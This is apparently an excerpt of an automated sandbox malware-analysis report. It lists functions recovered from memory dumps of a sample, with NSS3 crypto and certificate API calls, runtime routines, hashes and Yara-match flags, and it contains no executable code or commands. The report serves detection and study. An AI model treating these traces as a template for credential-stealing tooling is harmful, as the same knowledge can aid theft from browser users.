PR_EnterMonitor.NSS3(?), ref: 6C7C3E45

Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90AB
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90C9
Part of subcall function 6C7F9090: EnterCriticalSection.KERNEL32 ref: 6C7F90E5
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F9116
Part of subcall function 6C7F9090: LeaveCriticalSection.KERNEL32 ref: 6C7F913F

PR_EnterMonitor.NSS3(?), ref: 6C7C3E5C
PR_EnterMonitor.NSS3(?), ref: 6C7C3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C7C3EA6

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PR_ExitMonitor.NSS3(?), ref: 6C7C3EC0
PR_ExitMonitor.NSS3(?), ref: 6C7C3ED7
PR_ExitMonitor.NSS3(?), ref: 6C7C3EEE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 1e9086a54942364351cd73153c5cedaf567893a24c97dbafdd85d932b0de0032
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 2011EB71650601AFD7315E29FE0ABC777A5DB50308F400834E55A86B22E732E429CB47

Function 6C842C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C842CA0
PR_ExitMonitor.NSS3 ref: 6C842CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C842CD1
strdup.MOZGLUE(?), ref: 6C842CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C842D27

Strings

Loaded library %s (static lib), xrefs: 6C842D22

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 7bdd599188d1d7b18546ba801ecd5e21bab649471ff1e64e13670887d73c7c0c
Instruction ID: 2e42a5f014eb1f411f978629c12cee27898e9d00cedb9f5007f1aac2960a4305
Opcode Fuzzy Hash: 7bdd599188d1d7b18546ba801ecd5e21bab649471ff1e64e13670887d73c7c0c
Instruction Fuzzy Hash: CF11E6B1A092089FEB319F1DD94866677B8AB5531DF04C93DD819C7B41E739D808CBE1

Function 6C73BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C73BDCA

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C73BDDB

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C73BDEC

Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C73BE03

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73BE3B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 203f257857605b520db92a20e95c693f11e142e41bb415e54a91ae6d715b5f3e
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: D4012B65A8162167F610226A7E0DF57264C4F5068DF140034EF0DDABC3FB51F12882B6

Function 6C7C1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7C1C74

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C7C1C92
free.MOZGLUE(?), ref: 6C7C1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C7C1CCB
free.MOZGLUE(?), ref: 6C7C1CD2

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: d259f07140bf30b0d21bc7e961322525490f128e329a129156f0aa82b63ae3de
Instruction ID: c2bf77699b3b034e83aab2fb1384576b7c1746a14151556c1f9bd140dd182077
Opcode Fuzzy Hash: d259f07140bf30b0d21bc7e961322525490f128e329a129156f0aa82b63ae3de
Instruction Fuzzy Hash: 660180B1F026215FEA30AFA89E0DB4977B8AB0771DF140135E90BA2A41D729E108C7D2

Function 00419470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413D3E,?), ref: 0041948C
GetFileSizeEx.KERNEL32(000000FF,>=A), ref: 004194A9
CloseHandle.KERNEL32(000000FF), ref: 004194B7

Strings

>=A, xrefs: 00419488, 0041948B
>=A, xrefs: 004194A1, 004194CD, 004194A4

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=A$>=A
API String ID: 1378416451-3536956848
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 3a34b71ed32a5e038d40ec36a38ffc71a9509a973990dc3d9b0a1b42c7eefbe1
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: F2F04F39E08208BBDB10DFB0EC59F9E77BAAB48710F14C655FA15A72C0E6749A418B85

Function 6C7D2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7D3046

Part of subcall function 6C7BEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7BEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C7A7FFB), ref: 6C7D312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7D3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7D2E8B

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

Part of subcall function 6C7BF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C7A9BFF,?,00000000,00000000), ref: 6C7BF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C7A7FFA), ref: 6C7D2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D317B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 11ce1b74fd5e6653d00add4c4dd11d1c9ba98d6c7a03e07c75ab208a3bf81a92
Instruction ID: 9d3565bd9afb55b3cd6e8425dff3eb6c30e70e98d65deb1abf81227041ab33b1
Opcode Fuzzy Hash: 11ce1b74fd5e6653d00add4c4dd11d1c9ba98d6c7a03e07c75ab208a3bf81a92
Instruction Fuzzy Hash: A7A1DF71A002189FDB24CF54CD84BEAB7B5EF49308F0581A9ED4967741E731AE85CF92

Function 6C79ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C79ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C79EDCE

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

free.MOZGLUE(00000000,?,?,?,?,6C79B04F), ref: 6C79EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C79EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C79EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C79EEFB

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 585e23ed573d7e9f3ecf97e1893bc81763fafbe63a3bfcf1887afeae9d62f8f1
Instruction ID: 8d53b584ae2c81439a57222bb66ad9c50c44ece593c6268d0d91b177f536e036
Opcode Fuzzy Hash: 585e23ed573d7e9f3ecf97e1893bc81763fafbe63a3bfcf1887afeae9d62f8f1
Instruction Fuzzy Hash: F9818FB5A002099FEB14CF59EA84BAB77F9BF89708F144438E81597751D731E814CBE1

Function 6C79CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C79C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C79DAE2,?), ref: 6C79C6C2

PR_Now.NSS3 ref: 6C79CD35

Part of subcall function 6C7F9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DC6
Part of subcall function 6C7F9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DD1
Part of subcall function 6C7F9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F9DED

Part of subcall function 6C786C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C731C6F,00000000,00000004,?,?), ref: 6C786C3F

PR_GetCurrentThread.NSS3 ref: 6C79CD54

Part of subcall function 6C7F9BF0: TlsGetValue.KERNEL32(?,?,?,6C840A75), ref: 6C7F9C07

Part of subcall function 6C787260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C731CCC,00000000,00000000,?,?), ref: 6C78729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C79CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C79CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C79CE2C

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C79CE40

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

Part of subcall function 6C79CEE0: PORT_ArenaMark_Util.NSS3(?,6C79CD93,?), ref: 6C79CEEE
Part of subcall function 6C79CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C79CD93,?), ref: 6C79CEFC
Part of subcall function 6C79CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C79CD93,?), ref: 6C79CF0B
Part of subcall function 6C79CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C79CD93,?), ref: 6C79CF1D

Part of subcall function 6C79CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C79CD93,?), ref: 6C79CF47
Part of subcall function 6C79CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C79CD93,?), ref: 6C79CF67
Part of subcall function 6C79CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C79CD93,?,?,?,?,?,?,?,?,?,?,?,6C79CD93,?), ref: 6C79CF78

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: b5ea62d2d6bf2b1f8e9e3d161aa4f7df673ceb2010fe319c3cebe48b7a2a1331
Instruction ID: 9f140a8bb46739323968e934d1850c029f3bb87cdbe9608bfd6bace795b32348
Opcode Fuzzy Hash: b5ea62d2d6bf2b1f8e9e3d161aa4f7df673ceb2010fe319c3cebe48b7a2a1331
Instruction Fuzzy Hash: 7151E476A001009FEB10DF69EE48BAA73F8EF48349F250534D91697B40EB31ED05CB91

Function 6C742E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C732D1A), ref: 6C742E7E

Part of subcall function 6C7907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C738298,?,?,?,6C72FCE5,?), ref: 6C7907BF
Part of subcall function 6C7907B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7907E6
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C79081B
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C790825

PR_Now.NSS3 ref: 6C742EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C742EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C732D1A), ref: 6C742F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C732D1A), ref: 6C742F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C742F81

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 60748f7809c7117bd1f2d52b17d4a31deefece40ee1d794bad2ce3f69719513c
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: F831487150110087F710C665DE4CFAF7269EF80318FE4CA79D52DC7AD2EB3199A6C621

Function 0041B68C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B69A

Part of subcall function 0041B2BC: __mtinitlocknum.LIBCMT ref: 0041B2D2
Part of subcall function 0041B2BC: __amsg_exit.LIBCMT ref: 0041B2DE
Part of subcall function 0041B2BC: EnterCriticalSection.KERNEL32(?,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B2E6

DecodePointer.KERNEL32(0042A260,00000020,0041B7DD,?,00000001,00000000,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E), ref: 0041B6D6
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B6E7

Part of subcall function 0041C136: EncodePointer.KERNEL32(00000000,0041C393,004D5FB8,00000314,00000000,?,?,?,?,?,0041BA07,004D5FB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041C138

DecodePointer.KERNEL32(-00000004,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B70D
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B720
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B72A

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction ID: f2b3184d1a1304bb90a50cba908fab2f5b5379eafeb7e6c0534b29cc51b1fef6
Opcode Fuzzy Hash: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction Fuzzy Hash: 1331F974900349DFDF11AFA5D9856DDBAF1FF88314F14402BE460A62A0DB784985CF99

Function 6C73AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C73AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C73AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C73AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C859500), ref: 6C73AF23

Part of subcall function 6C78F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C78F0C8
Part of subcall function 6C78F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C78F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73AF37

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
